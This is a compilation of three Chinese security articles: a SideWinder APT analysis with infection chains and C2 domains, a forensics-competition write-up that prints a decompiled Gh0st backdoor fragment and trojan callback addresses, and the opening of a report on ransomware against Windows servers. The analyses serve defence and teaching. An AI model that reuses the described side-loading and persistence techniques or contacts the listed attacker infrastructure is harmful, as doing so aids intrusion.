* 2019年8月30日，安恒发布了“[响尾蛇（SIDEWINDER）APT组织针对驻华大使馆的攻击披露](https://ti.dbappsecurity.com.cn/blog/index.php/2019/08/30/sidewinder-apt-group-attack-embassy-in-china-disclosed/)"的报告。该报告提到了“Sidewinder”APT组织使用了新的攻击技术。
* 2019年09月06日，瑞星发布了名为“境外APT 组织“响尾蛇”对我国发起攻击事件报告” 的报告。
* 2019年10月18日，瑞星发布了名为“[境外APT组织“响尾蛇”再次 对我国发起攻击事件报告](http://it.rising.com.cn/dongtai/19655.html)"的报告。
* 2019年10月29日，瑞星发布了名为“APT组织“响尾蛇”对巴基斯坦攻击事件报告"报告。
* 2019年11月11日，巴基斯坦政府发布了[Prevention Against Indian APT Group Sidewinder (Advisory No. 22)](https://cabinet.gov.pk/SiteImage/Misc/files/NTISB Advisories/2019/22-Advisory-No-22-2019.pdf)的公告。在这个公告中首次称“a suspected APT group from India“从2019年2月份就开始攻击巴基斯坦的军事，政府部门。
* 2020年01月01日，Gcow安全团队发布了"[游荡于中巴两国的魅影——响尾蛇（SideWinder）](https://www.anquanke.com/post/id/196330)”报告。
* 2020年04月14日，腾讯安全威胁情报中心发布了一篇名为“[响尾蛇（SideWinder）APT组织使用新冠疫情为诱饵的攻击活动分析](https://s.tencent.com/research/report/958.html)”报告。
* 2020年04月14日，巴基斯坦的政府部门发布了公告:“[Prevention Against Indian APT Group- RattleSnake (Advisory No.5)](https://cabinet.gov.pk/SiteImage/Misc/files/NTISB Advisories/2020/5-Advisory-5-2020.pdf)” 。公告中提到的样本和腾讯在同日发布的报告一样。
* 2020年05月28日，奇安信威胁情报中心发布报告:“[近期响尾蛇APT组织针对周边国家和地区的攻击活动分析](https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/)”。
* 2020年07月13日，Gcow安全团队发布报告"[蛇从暗黑中袭来——响尾蛇(SideWinder) APT组织2020年上半年活动总结报告](https://www.anquanke.com/post/id/210404)"
* 2020年12月09日，趋势科技发布了报告“[SideWinder Uses South Asian Issues for Spear Phishing, Mobile Attacks](https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html)",这篇报告中提到SideWinder APT 组织针对尼泊尔政府发起攻击。
* 2021年6月8日，奇安信情报中心发布了报告“[SideWinder武器库更新：利用外交政策针对巴基斯坦的攻击活动分析](https://ti.qianxin.com/blog/articles/SideWinder-arsenal-update:Analysis-of-attack-activity-against-Pakistan-using-foreign-policy/)”。在这篇报告中，“Sidewinder”APT组织开始对其样本进行代码混淆。
## 3."Sidewinder”APT组织的TTPs
"SideWinder(响尾蛇)"APT组织在初始化攻击时时，会向目标发送一个钓鱼邮件。邮件中包含一个可以下载ZIP文件的链接。下载下来的ZIP文件通常包含一个LNK文件或者DOC文档。点击这些文件后会下载一个HTA文件，HTA文件会在特定目录释放一个Duser.dll文件。接着将系统文件credwiz.exe拷贝到该目录，为credwiz.exe添加一个自启动项。然后运行credwiz.exe，credwiz.exe会加载Duser.dll。Duser.dll通常是不包含恶意代码，它会进一步的加载执行其他恶意代码。目前我们观察到"SideWinder(响尾蛇)"APT组织使用的攻击方法大致分为三种：
### (1) 类型1
这种类型通常是通过邮件投递一个包含漏洞利用的文档。有的文档是DOCX文件，它利用CVE-2017-0199漏洞（其实是模版注入）下载一个RTF文件，RTF文件包含一个CVE-2017-11882的利用，漏洞触发后释放一个名字为fina.hta文件。有的是一个仅仅利用了CVE-2017-11882漏洞的RTF文件。
释放的HTA文件包含两个经过base64编码的字符串:
var ec = 'preBotHta'
声明了要调用的的类。so字符串解码后是一个经过序列化的DOTNET模块，它的内部定义了一个preBotHta类。调用过程如下：
将DOTNET模块拖到dnSpy中可以看到preBotHta的定义如下：
preBotHta类主要功能在函数work中实现，这个函数的定义如下:
work函数首先使用WMI查询当前系统安全中心注册的杀毒软件的名字，如果杀软的名字不是"360","avast","avg",就会将杀软的名字提交给avUrl指向的链接。后续的代码是在一个异常处理块中运行，当代码执行失败时，异常处理过程也会向avUrl指向的链接提交当前系统中杀毒软件的名字。接下来执行如下操作:
* 在注册表HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Run 下添加一个项，以便实现开机启动。文件路径是%ProgramData%\drvr\srvc2\credwiz.exe。
* 将系统目录下的credwiz.exe拷贝到%ProgramData%\drvr\srvc2\credwiz.exe。
* 解码dllBase64并且使用gzip解压缩解码后的数据，搜索解压后的数据中特殊标志并使用传进来的参数“url”进行替换。然后将修改的数据写入到%ProgramData%\drvr\srvc2\Duser.dll文件中。
* credwiz.exe是一个系统文件，它会加载Duser.dll。这里使用的是 DLL Side-loading 方法来执行恶意代码。preBotHta类和Program类中的成员变量copyexe，hijackdllname，instfolder，instpath，program保存了配置信息。
* Duser.dll 是一个C++开发的模块，它导出多个函数，但是都指向同一个函数。Duser.dll 执行后会定时的从preBotHta.work的第五个参数指定的URL下载javascript脚本，然后调用javascript的COM组件执行。javascript脚本主要是收集系统的信息，然后上传。
### (2) 类型2
这一种攻击方法是在邮件附带一个压缩过的lnk文件，lnk文件伪装成文档。一个典型的lnk如下：
点击lnk文件后，会执行mshta.exe 从https[:]//pmad-fbr.cdn-top.net/images/5512EBB0/4611/1296/20f96e/7044cf2
下载一个HTA文件。这个HTA文件包含两个经过base64编码的字符串：
da通常是经过gzip压缩和base64编码的文档或者图片。so是一个经过序列化的DOTNOT模块，代码如下：
这个文件的原始名是LinkZip.dll，它只是一个简单的downloader。函数hta.pink的定义如下：
**public void** pink(string finalUrl, string avUrl, string doc, string
documentName)
一个对这个函数调用的例子如下：
这个函数执行流程如下 :
* 首先解码并解压doc字符串，然后写入到一个文件中，文件的名字取决于documentName。然后打开生成的文档，用来欺骗受害者。
* 打开诱饵文档后，会向服务器提交当前系统中安装的杀软。
* 接着从finalUrl中下载文件并保存在%temp%\bd.hta中，如果下载失败次数超过10次，会通过avUrl向C2服务器提交一个"File-not-Written"错误。如果下载成功会调用mshta.exe执行bd.hta。
* bd.hta是一个HTA文件，它会调用preBotHta的work函数，然后拷贝credwiz.exe，释放Duser.dll。hta类的成员变量finalName,location保存了配置信息。Duser.dll 执行流程和类型1一样。
### (3) 类型3
这种类型攻击方法通常是向受害者发送一个包含CVE-2017-11882漏洞利用的文档或者LNK文件，它们执行后释放或者下载执行逻辑相同的HTA文件。这些文件大多是经过混淆和简单的加密的，一个典型的例子如下
解密后的文件如下：
反序列化后并调用的模块代码定义如下:
StInstaller.Program.work函数定义如下:
public void Work(string dll22, string dll, string url = "")
这个函数和preBotHta.work函数的执行流程有些相似，但是有些变化。目前我们观察到有两种类型：
* 将write.exe拷贝到指定目录，然后在该目录释放propsys.dll,随机名字的临时文件、ite.exe.config。
* 将rekeywiz.exe拷贝到指定目录，然后在该目录释放Duser.dll,随机名字的临时文件、ekeywiz.exe.config。
preBotHta.work使用base64算法解码相关字符串并使用gzip解压，修改数据中配置信息，然后生成propsys.dll或者Duser.dll。配置信息包括和C2通讯的地址和临时文件的名。propsys.dll或Duser.dll把这个临时文件加载到内并解密然后调用临时文件的start函数：
释放出来的临时文件原始名是SystemApp.dll，这个DLL的中的SystemApp.program.start函数会创建两个定时器，一个用于从C2服务器上获取配置更新信息，另一个用于定时上传收集到的信息。更新配置信息的部分代码如下：
上传收集的信息的代码如下：
## 4."SideWinder(响尾蛇)"APT组织新的变化
2020年以后，"SideWinder(响尾蛇)"APT组织主要是使用型3的攻击方法。类型1和类型2很少出现于公开的报告。类型3使用HTA大多经过简单的混淆和简单的加密，但是使用C#开发的DLL文件都没有混淆。将这些DLL文件解码后，使用dnSpy工具可以很轻松的分析它们。到了2021年有了变化,"SideWinder(响尾蛇)"APT组织开始对这些DLL文件中的函数和变量名字进行混淆。一个典型的例子如下:
App.dll相当于类型3中的hta.dll文件，但是如果看这个文件中的函数的名字就会发现差别很大。不少函数原始的名字已经被替换成一些随意组合的字符串。
work函数的定义如下:
**public void Work** ( **string** EncapsulatedObjectNotifyIterator, **string**
GetDynamicInterpreterObject, **string** RequestMutatorProgramData, **string**
ProgramRestoreClassShare)
这个函数原本的定义如下:
**public void pink** ( **string** finalUrl, **string** avUrl, **string** doc,
**string** documentName)
以Decompress为例，混淆前和混淆后对比如下:
前后对比可以发现，代码基本逻辑没有变化，但是一些函数名和变量的名字被替换了。这样一来，代码反编译后的可读性就很差了。
## 5.一些有意思的发现
"SideWinder(响尾蛇)"APT组织使用的C&C server 的域名通常包含"CDN",比如:s3-cdn[.]net、cdn-load[.]net、cdn-dl[.]cn、cdn-dl[.]cn。
我们对SideWinder(响尾蛇)"APT组织使用的域名的子域做了统计，发现了很多有意思的地方：
域名 | 子域
---|---
d-dns[.]co | nadra[.]gov.pk.d-dns.co
s3-cdn[.]net | visa[.]s3-cdn.net www-coas-pk[.]s3-cdn.net coas-pk[.]s3-cdn.net
cdn-load[.]net | pmo[.]cdn-load.net
cdn-dl[.]cn | nadra-moi[.]cdn-dl.cn moi-nadra[.]cdn-dl.cn ministry-interior-gov-pk[.]cdn-dl.cn mopa-bdgov[.]cdn-dl.cn
cdn-in[.]net | www[.]punjabpolice.gov.pk
.standingoperatingprocedureforemergencythreat .cdn-in.net
punjabpolice[.]gov.pk .standingoperatingprocedureforemergencythreat .cdn-in.net
ap1-port[.]net | www[.]paknavy.gov.pk.ap1-port.net
asp-bin[.]net | paknavy[.]gov.pk.asp-bin.net
d01fa[.]net | hsrc-gov-pk[.]d01fa.net
nrots[.]net | csd-gov-pk[.]nrots.net
sd1-bin[.]net | www-csc-gov[.]sd1-bin.net
chrom3[.]net | pakbj[.]chrom3.net
cdn-edu[.]net | myanmarembassy[.]cdn-edu.net pk[.]cdn-edu.net
Filesrvr[.]net | nepalarmy[.]filesrvr.net mfa[.]filesrvr.net
mfa[.]filesrvr.netmfa].]filesrvr.net mfa[.]filesrvr.net
gov-pok[.]net | mfada-gov-af-islamabad[.]gov-pok.net mofa-wireless-pk[.]gov-pok.net mofa[.]gov-pok.net theguardian-pk-protest-against-imran-khan[.]gov-pok.net moma[.]gov-pok.net
cdn-pak[.]net | mofa[.]cdn-pak.net embassy[.]cdn-pak.net mail-mofa-gov[.]cdn-pak.net fmprc[.]cdn-pak.net netmailmofagovpk[.]cdn-pak.net pakbj[.]cdn-pak.net
有的子域被用作了C&C server，有些则没有。多数情况下，子域会显示可能的攻击目标。几个比较典型的例子如下:
* nadra[.]gov.pk.d-dns.co,巴基斯坦国家数据库和注册管理局 (NADRA)的官网是:nadra[.]gov.pk。
* pakbj[.]chrom3.net，巴基斯坦驻北京大使馆的官网是:www[.]pakbj.org。
* myanmarembassy[.]cdn-edu.net，"myanmarembassy"拆开是"myanmar embassy"意即缅甸大使馆。
* nepalarmy[.]filesrvr.net，尼泊尔陆军的官网是:www[.]nepalarmy.mil.np。
* myanmarembassy[.]cdn-edu.net,阿富汗外交部的网站是:www[.]mfa.gov.af。
* fmprc[.]cdn-pak.net，中国外交部的官网是:www[.]fmprc.gov.cn
www[.]punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in.net中有一个字符串，这个字符串拆开后是"standing operating procedure for emergency
threat"。直译过来就是"紧急威胁的标准处理流程"，就是通常说的"安全应急响应"。
theguardian-pk-protest-against-imran-khan.gov-pok.net也很有意思，在卫报的官网上可以找到一个标题为"Pakistan's united opposition _protests against
Imran Khan's rule_ "的新闻。
## 6.总结
从2018年到如今，"SideWinder(响尾蛇)"APT组织活跃了3年的时间。这三年的时间里，该组织不断地改进其攻击工具。该组织的C2一个典型的特点是使用的域名中通常包含“CDN”或者"gov.pk"，当然也有一些例外。其主要是针对政府、国防和军工行业感兴趣，涉及的国家大多是在南亚。虽然很多安全厂商通常是根据地缘政治来判断该组织来自印度，但是目前没有公开的报告提供确凿证据。
* * * | 社区文章 |
# 2019 虎鲸杯电子取证大赛赛后复盘总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前几天参加了一个电子取证大赛，题目模拟了一起黑客入侵窃取服务器信息的案件，在整个案件中如果通过线索的搜集把各个蛛丝马迹都串起来，还是挺有趣的。赛后对案件进行了复盘，案件描述如下：
从线索来看这里应该是 a 和 e 的犯罪嫌疑比较大。
所给的取证材料有这些：
接下来就要通过这些检材的镜像/数据来进行相关的信息取证。这里对证据逐个来进行分析。
## APK 逆向分析（管理员手机上木马文件）
使用 jadx-gui 把木马文件加载进去直接读 java 代码，发现是用 okhttp 框架写的程序， **题目指明需要找到他的回传地址和手机号** 。
使用搜索功能直接找关键词即可，第一条就是需要找的线索
如下，可以得到两个信息：
回传地址：www.iedemo.com
回传手机号：13901678945
有了手机号就可以配合话单分析进行溯源，找到嫌疑人之间的关系。
## 闪存介质取证（嫌疑人 a 的证据）
### **基础知识的补充**
在 winhex 中找到起始扇区（最前面的 512 字节是 MBR 扇区），MBR 扇区中前面的 446 字节是磁盘的引导代码， **后面的 64
字节分别是四个分区表的基本信息，也就是硬盘分区表 DPT，每 16 个字节记录一个分区表项。** （选中区域）
例如第一个分区表项记录信息：
80 01 01 00 06 FE 3F A7 3F 00 00 00 69 2E 29 00
含义如下：
根据上面的知识可以知道这里可识别的分区为第一个的主分区（分区标识符为 06），第二个扩展分区（分区标识符为 05）。
### **恢复步骤**
分区 1 是一个 FAT16 的分区，分区 2 和 3 的类型未知， **从 winhex 上来简单分析可以看到他们的 DBR 分区都被覆盖成了垃圾数据**
，因此这里的第一步需要对 DBR 分区进行恢复。（数据恢复这部分的知识并不了解，导致比赛时比较慌…所以感觉知识储备还是不太够）
这里可以用下面几款软件来恢复：
WINHEX
恢复大师
R-studio
**使用 WINHEX 恢复有两种方式：**
1. 复制备份扇区到 DBR 扇区。<https://jingyan.baidu.com/article/425e69e6f1b191be15fc16a9.html>
2. 直接使用现有的扇区类型的正确 DBR 覆盖掉垃圾数据。
这里修起来比较复杂，就直接使用别的工具自动修复了。
**恢复大师镜像恢复**
使用恢复大师选择 “镜像恢复”，打开镜像 “随身固态闪存介质 C2.dd”，这里就可以正常分析出分区 2 （FAT32）和分区 3 （NTFS）的文件格式
接着选择”深度恢复”，恢复完成之后在压缩包分类中查看信息， **发现了”中国菜刀”这个黑客必备的工具和类似于 svchost 木马的文件** 。
将 “样本 – 123456.rar” 文件导出到本地之后，解压出来（解压密码为 123456，别问为什么，因为文件名上面写着。。），发现是 upx
加壳了，直接脱壳即可。
将这个样本文件加载到 IDA 中， **发现木马的功能和服务器上面的恶意程序的功能完全一致** （后面会分析到），所以极大可能是同一个文件。
### **小总结**
所以这里有一个猜想是：从 “样本文件” 的名字可以推测，a
是一名黑客，根据金钱交易写了一个木马交给某人，然后这个人（可能也是黑客）利用了木马来控制了服务器。
## 笔记本镜像取证（嫌疑人 e 的证据）
笔记的镜像可以直接加载到取证大师中，可以直接进行线索的发现和信息收集。可以直接使用取证大师的自动取证功能找到的线索这里就不再重新叙述了。应该包括了下面几类的信息：
笔记本电脑的基本信息
用户登录/开关机信息
iTunes 备份信息
邮件信息
**这里重点关注邮件信息和 iTunes 备份信息。**
### **邮箱信息收集**
根据邮箱信息的收集，可以知道两个线索：
1. 龚XX给于某发送了带了密码的邮件附件
2. 和小歪、龚XX、petter 的聊天记录
首先可以把几个联系人都列出来， **然后再通过已知的信息摸清他们之间的关系** 。
根据邮件中的信息和前面收集的信息，得到关系图如下：
### **iTunes** **备份信息**
在取证大师的\Moblie\Backup\a6c4a185aeed0170d24d39dd8843126bcd522ba7 目录里是 itunes
备份文件的目录，目录下有很多子目录。
将目录下的 Manifest.db 加载到 Sqlite3 中，可以看到目录和备份数据对应的关系，根据这个关系就恢复出原始数据。
这里可以使用现有的 itunes 备份恢复软件，将手机中的数据恢复出来。
使用软件需要开通会员，下不去手所以在这里就直接使用取证大师，在目录下搜索记录，直接搜索 “小李”，就会出现和 “龚XX”
的聊天记录，会发现其中一条就是上面邮件附件的密码。
密码也就是百度云账号输入两遍，即：1785962839017859628390
把附件解压出来是对应的数据库文件，同样的方法加载到本地， **打开会发现是黑客拿下的站点数据库** 。
接着往下看，可以知道有笔交易是拿下 “济公物流”，需求是要求官网a瘫痪， **而这个站点正是此次被入侵的服务器站点**
。所以这里的线索就更加清晰：这是个黑产团伙作案，已经形成了一个地下钱庄。
另外根据备份信息里的 **通话记录的时间线** ，对应上摄像头的录像时间， **就可以知道视频的里师傅确实是余沧海，且这个是他的旧手机号** 。
### **笔记本电脑镜像的动态仿真**
在某些情况下进行动态仿真会比静态仿真的效果更好，而且信息收集的更快。
这里可以直接使用某个动态仿真软件把镜像模拟起来，仿真起来之后是个 WIN 7 的操作系统。
一些信息就可以直接在桌面上，例如题目中的：
1. **百度云账号、密码** ，以及快捷方式指向的应用程序在桌面上直接或者间接就能获取
2. 在 `D:\Program Files\WYWZ 目录下找到无影无踪的应用程序，打开之后就可以看到只有 jpg 格式的图片文件经过处理
在本地磁盘中可以看到 E 盘是进行了加密处理过了，所以在这里需要找到 BitLocker 的加密密钥。
### **BitLocker** **密钥的查找**
BitLocker 密钥的查找在取证大师中可以找到。 **在取证大师的高级搜索中，直接搜索字符串 “bitlocker” 就可以得到正确的密钥**
恢复密钥位于未分配簇里。使用取证大师自带的解密功能（右键 E 盘填入 **恢复密钥** 一栏）解密出磁盘即可。
在 E 盘下就有一个 “代码名单” 的文件，很可能是写木马的人员名单。这里找到 “李X光” 的联系电话之后就可以回答问题了。
### **其他一些发现**
打开桌面上的 VCF 通讯录编辑器，就可以发现 e 的师傅余沧海的手机号码。 **但是从视频里面知道他换了手机号，尾号是 0818**
## 家庭摄像头视频取证（嫌疑人 e 的证据）
通过视频的声音和图像会比较直观的得到一些信息和证据，这正是它的优势。
通过加载家庭摄像头镜像到取证大师中，修复一些损坏的 mp4 文件头，会发现以下的一些信息：
* 这里出现了小歪，应该就是笔记本邮件中的提到的那个人。从时间上来分析的话，是 e 先接了小歪的电话，之后在邮件中找小歪再 “处理” 了一笔。
## 话单分析
这一块的取证分析不是很熟悉，一般就是直接导入到 **美亚的 FS-600 话单分析系统** 中进行分析。这里也按照题目的线索提示来看。
因为对一块不熟悉，而且在题目中也不是很重要，所以先略过了。
## 手机备份文件数据分析（嫌疑人 a 的证据）
拿到 a 的华为手机备份里的数据，都是一些 sqlite3 数据库，分析起来也比较简单，直接导入 SQLiteStudio 工具中分析即可。
数据库中有联系人信息、短信信息以及 WiFi 配置之类的数据，因此题目中的几个问题就可以直接回答了。
select body from sms.sms_tb where body like “%吴佳%”
### **小总结**
**在 sms_tb 表中的其中的几条短信中可以得到一些信息：**
1. a 的名字叫”龚xx”，居住在厦门市同安区
2. a 的手机曾经丢过
3. 有一张尾号 8916 的理财卡和一张尾号为 5542 的中国银行信用卡
4. 多次向尾号为 1168 的账户（张先生）转账，且转账金额都挺大
## 服务器取证
题目所给的镜像文件是由四块盘组成的RAID磁盘阵列，所以这里需要进行 RAID 重组成原镜像才能进行分析。
### **RAID** **磁盘重组**
重组的原理可以看x下面的l链接：
<https://wenku.baidu.com/view/02576c9ca2161479171128f2.html>
<https://blog.csdn.net/my_xxh/article/details/79913694>
根据上面原理对 RAID 磁盘进行重组，这种操作在取证大师中也可以实现。
**RAID** **类型是常规左同步，条带大小是 64 扇区，磁盘排列顺序是 3214** ，加载到软件中进行重组即可。
* 或者如果对这些重组的知识不太了解的话， **也可以使用取证大师的 “自动计算磁盘序列” 功能来逐个尝试** ，若可以正常打开文件说明重组后是准确的。
经过 RAID 重组之后就可以对服务器镜像取证了，服务器的取证主要可以分为以下几个方向：
exe 恶意代码分析
Apache 日志分析
数据库分析
* **服务器的基本信息** ：
1. 内网 IP：192.168.4.99
2. 操作系统：windows server 2012
3. 最后一次异常关机时间：2019-03-29 20:26:28
### **exe** **恶意程序逆向分析**
RAID 排列完成、取证大师自动取证后， **在系统桌面上就可以发现一个名字为 malware.zip 的文件比较可疑** ，把他导出解压出来得到一个
services.exe 文件。看名字就像一个后门木马文件
再回头看题目，这里就是需要我们对这个恶意程序进行逆向分析来发现一些信息。
1. **静态调试**
先使用 IDA 加载恶意程序进行静态分析，在 main 函数中简单分析一下就可以知道 **程序做了修改注册表以及打开服务的操作** 。
if ( strstr(v13, "Gh0st Update") )
{
Sleep(5000u);
LABEL_11:
SetUnhandledExceptionFilter(TopLevelExceptionFilter);
sub_401CA0();
sub_402590(hInstance);
v16 = sub_402150(v10, v12, v5);
if ( v16 )
{
memset(&Filename, 0, 0x104u);
GetModuleFileNameA(0, &Filename, 0x104u);
wsprintfA(&SubKey, "SYSTEM\CurrentControlSet\Services\%s", v16);
v17 = lstrlenA(&Filename);
open_regedit(HKEY_LOCAL_MACHINE, &SubKey, "InstallModule", 1u, &Filename, v17, 0); //修改注册表
open_service(v16); //打开服务
operator delete(v16);
operator delete(v10);
operator delete(v12);
}
ExitProcess(0);
}
在 sub_402150 函数中跟进，在里面发现篡改了 Svchost 的注册表来实现自启动和开启服务，所以很明显这个是个 svchost
后门，后面注入了恶意 DLL 到某个目录中。
* 参考：<https://blog.csdn.net/huanglong8/article/details/70666987>
dll 的文件名是通过动态拼接的，只能通过 OD/windbg 动态调试才可以得到。
在这个函数下面还进行了 CreateServiceA 的操作。
1. **动态调试**
根据上面参考文章，把程序跑起来，在 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
中，看到键值对信息，这里确实是留了一个 svchost 的后门
在下面的 Paramters 键中可以发现后门运行释放后的文件位置和文件名。
还有一个 dll 文件位于 C:\Windows\System32\Iasex.dll，所以总共释放了两个 DLL 文件。
在任务管理器和 netstat 中，查看相应的网络连接就可以知道木马的回传 IP 地址 178.56.94.77，是一个波兰的国外 IP。
### **数据库分析**
题目中有一个选择题为：
通过对服务器S1进行取证分析，得知修改网站管理员密码的IP地址是？
这边就需要对服务器的 www 网站下的数据进行分析，在取证大师中将整个 D:\Phpstudy 目录导出到本地。
要找到修改了管理员密码的 IP 地址，有两个方向可以选择， **一个是在 Apache 日志中查找，一个是在数据库查看是否有相应的记录。**
这里找了 Apache 的日志，发现都没有相关的 IP 记录，可能是已经被删除了。所以这里需要在 Mysql 数据库查找信息。
**导出服务器数据库**
在分析之前需要先找到网站应用的数据库位置。在 www 目录下可知这个应用是 eyoucms 的，网站的数据库存储在
phpStudy\PHPTutorial\MySQL\data\eyoucms 目录下， **目录下的文件都是 MYD 和 MYI
格式的文件，无法直接打开** 。
这里有两种方法可以导出数据库，一种是在上一级的 bin 目录里找到 mysqldump.exe ，使用命令 mysqldump -uroot -proot
> name.sql 来导出数据库，但是这里的 mysql 的密码无法得知。
所以这里可以采用第二种方法：把 eyoucms 整个目录复制到本地数据库，例如我这里用的是 wamp 的 mysql 数据库，找到相应的文件夹复制到
data 目录下即可。
这里在数据库管理中就多了一个名字为 eyoucms 的数据库。打开数据表之后，所以很明显这里是使用 admin 管理员用户进行操作，登录的 IP
也就可以知道了。IP：192. 168.4.129
* 显然，这是服务器被入侵之后的黑客操作。这里的 IP 是一个内网 IP，所以很可能黑客是进入了内网进行了内网漫游。
### **Apache** **日志分析**
Apache 的日志分析比较简单，直接将 phpStudy\PHPTutorial\Apache\logs\access.log 文件加载到
Notepad++ 中，使用软件自带的搜索统计功能并配合正则表达式，就可以回答题目中关于日志文件的数据分析。
1 . 访问文件的目标 IP
**搜索语法：**
2019:15:48:45(.+?)9c0df*
这里只有一条记录，IP 为 192.168.4.36
2 . IP：162.135.124.177 的 POST 请求的条数
**搜索语法：**
162.135.124.177(.+?)”POST
**点击计数，这里发现有 34 条匹配的记录** ，因为每一条访问请求在 access.log 中有两条记录（另一条记录了整条 URL 和 User-Agent 的信息），所以这里实际的访问 POST 请求只有 17 条。
3 . 加载 loading.gif 文件并出现 304 的 71.25.66.XX IP 段的记录条数
**搜索语法：**
71.25.66(.+?)loading.gif(.+?)304
有 6 条记录， **依然除以 2 才是实际的条数，为 3 条** 。
**其他一些问题**
还有一些题目中的一些小问题需要解决一下。
比如其中有一个问题是要找到用大疆无人机进行拍摄的照片。
这里的有一个解法是在动态仿真时的 D 盘下某个文件夹下可以找到一张这样的照片（查看照片的 EXIF 信息，大疆无人机 FC220）， **所以可以根据
FC220 这个字符串在取证大师中进行全局搜索** 。
另一种解法是在取证大师中找到某个 TC 加密的文件（PrvDisks.cmt），导出到本地以后使用 TC 密码解密（密码在 D 盘的 important
目录下）
解密后挂载到本地的某个盘符下，进入文件夹下就可以看到所有处理过的图片了。
另一个是需要找到嫌疑人 e 的交易收入额，这个收入额信息是存放在 D:\important 的 person123.xls 中。
发现是加密的文件，考虑到是 Office 2003 加密，可以暴力破解一波，使用 AOPR 很快就破解出 person123.xls 文档的密码：
10942
解密以后就是这些信息了。
将 D:\important 目录下的 “账号信息.doc”
导出，修复文件头，得到薛哥的海外账号后5位，结合视频的前几位，得到薛建华完整的账号：Q328527801
## 案情总结
将上面的基本信息都收集的差不多了之后，就可以整体分析整个案情的来龙去脉。这里采用回溯的方法一步步往回分析。
**人物关系：**
**事件关联：**
整体来看， **就是通过网站入侵事件找到其背后的一个黑产团队** 。
最后放出官方的解答，有一两点小问题还没有解决，例如地下钱庄的加密压缩数据库、销售人员名单。有知道怎么找到这玩意的大佬麻烦请指点一二~
## 总结
从整个答案的分布来看线索还是比较清晰，而且所给的证据文件也还是比较合理的。比较重要的就是对基础知识的熟悉以及对整个案情思路的整合和归纳。
**相关的脑图文件：**
链接：https://pan.baidu.com/s/177BsmG3QHTFicg3JN0hK6g
提取码：4pcq
**参考资料**
<https://blog.csdn.net/hilavergil/article/details/79270379>
<https://blog.csdn.net/my_xxh/article/details/79913694> | 社区文章 |
# Windows服务器下勒索木马的防护与对抗
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
去年的WannCry勒索病毒，让全社会都关注到了这类新生的恶意软件。从去年下半年开始，勒索病毒在国内的攻击重点开始转向了各类服务器，尤其以windows服务器为甚。黑客利用弱口令和各类系统漏洞，软件漏洞向服务器远程渗透投毒，经常出现一个服务集群多台主机被感染的情况，造成的影响轻则服务中断，有严重的更影响到整个公司的运营，已经成为影响企业安全的一大问题。
## 趋势与拦截数据
针对服务器的爆破攻击，一直是服务器主机面临的一大类安全风险，我们对过去近两个月来的爆破攻击拦截量进行了统计，虽然从数据波峰来看涨势并不明显，但波谷却一直在稳步提升，整体趋势还是有进一步提升的风险性。
自去年（2017年）下半年以来，服务器入侵就成为了勒索病毒传播的主流手段。到本年度，通过入侵服务器植入勒索病毒的疫情已经在所有勒索事件中的绝对主力，反倒是之前规模较大的个人PC用户中招情况有所好转。
与针对个人用户的勒索攻击有所不同，通过入侵服务器植入勒索病毒的方法受服务器整体数量和植入方式的影响，导致整体感染量级不会像个人PC一样，动辄上千。服务器一般数据资产价值要大大高于个人PC，虽然感染的绝对量没有个人PC用户高，但造成的损失和影响范围缺远高于个人PC用户。此外，值得注意的是，虽然针对服务器的入侵手段目前还是以RDP弱口令入侵为主要的入侵方案——这主要还是得益于该方案技术成熟且广泛适用于大多数Windows服务器系统。但通过漏洞入侵系统也渐成趋势：以目前流行的WebLogic漏洞入侵案例来说，就是利用了WebLogic的WLC组建漏洞对服务器实施渗透入侵。这主要是由于去年爆出的WLC组建CVE-2017-10271漏洞导致——虽然该漏洞已经在去年10月被Oracle修复，但由于服务器系统中运行的服务往往不能轻易中断，更新经常不够及时，也有部分管理员不愿进行更新。导致黑客可以利用已公开的漏洞攻击那些尚未修复漏洞的服务。此类入侵手段将会成为黑客入侵服务器勒索投毒的新突破口，也希望广大的服务器管理员能提起重视，及时关注安全趋势并修复有漏洞的软件。
## 被攻击用户分析
我们对今年被攻击用户的情况从行业分布、地域分布、系统、被攻击原因等多方面做了统计分析，希望能帮助广大管理员提高安全防护效果。
### 1\. 行业分布
我们对今年1月到4月中招反馈情况统计分析发现，互联网，工业企业，对外贸易与批发零售，政府机构合计占比超过一半。其中尤以中小企业与中小互联网企业最为突出，企业在网络安全方面投入不足，而产品销售维护又严重依赖互联网信息系统，在中招之后只能选择支付赎金解决，这也进一步刺激了黑客的攻击行为。对外贸易与批发零售行业，由于对外交流广泛，也容易成为境外黑客的攻击目标。地方政府机构服务器、网站，一直以来都是黑客攻击重灾区，由于缺乏专业的安全运维，漏洞修补不及时，被黑客攻击拿下。
### 2\. 地域分布
从地域分布看，信息产业发达的广东省首当其冲，位列第一，占比接近一半。之后是江苏，浙江，山东，上海，北京等。地域分布情况看，主要和信息产业发展情况相关。
图：全国各地区感染量占比分布图
### 3\. 系统分布
从操作系统分布来看，作为服务器使用，感染勒索病毒的机器中，windows server 2008与windows server 2008
R2是绝对的主力，很多用户使用的还是较老版本的操作系统，甚至有已经停止支持多年的windows server 2003。
### 4\. 被攻击原因分布
我们统计到的攻击原因看，第一大类是由“弱口令”造成的，远程桌面服务被爆破，黑客远程登录用户计算机投毒，占比超过一半。从我们实地调查分析情况看，很多远程爆破并不是短时间完成的，而是持续一段时间的攻击。用户在攻击过程中并未察觉异常，直至机器被拿下并投毒，再去查看日志才发现的问题！
而排第二位的，是共享文件夹被加密的情况，这一类情况相对比较“无辜”。被加密的是在局域网中共享的文件，这类一般是由于局域网中其它机器感染了勒索病毒，勒索病毒通过搜索局域网中共享文件夹，找到并加密了这些文件，共享文件的主机本身并未中木马。
此外，如前所述，软件漏洞和系统漏洞最近也常被用来投放木马，如上文提到的WebLogic的反序列化漏洞，Apache
Struts2的多个任意代码执行漏洞都被用做过远程投毒，对于没有打补丁的机器来说，这些也都是极其危险的！
## 攻击来源分析
我们对勒索木马家族进行了长期对抗和跟踪，在对抗过程中，我们发现了其中的一些特点，我们做了一些整理说明，希望通过我们的分享可以提升广大管理员应对此类攻击的能力。我们也将继续关注这类攻击的后续发展。
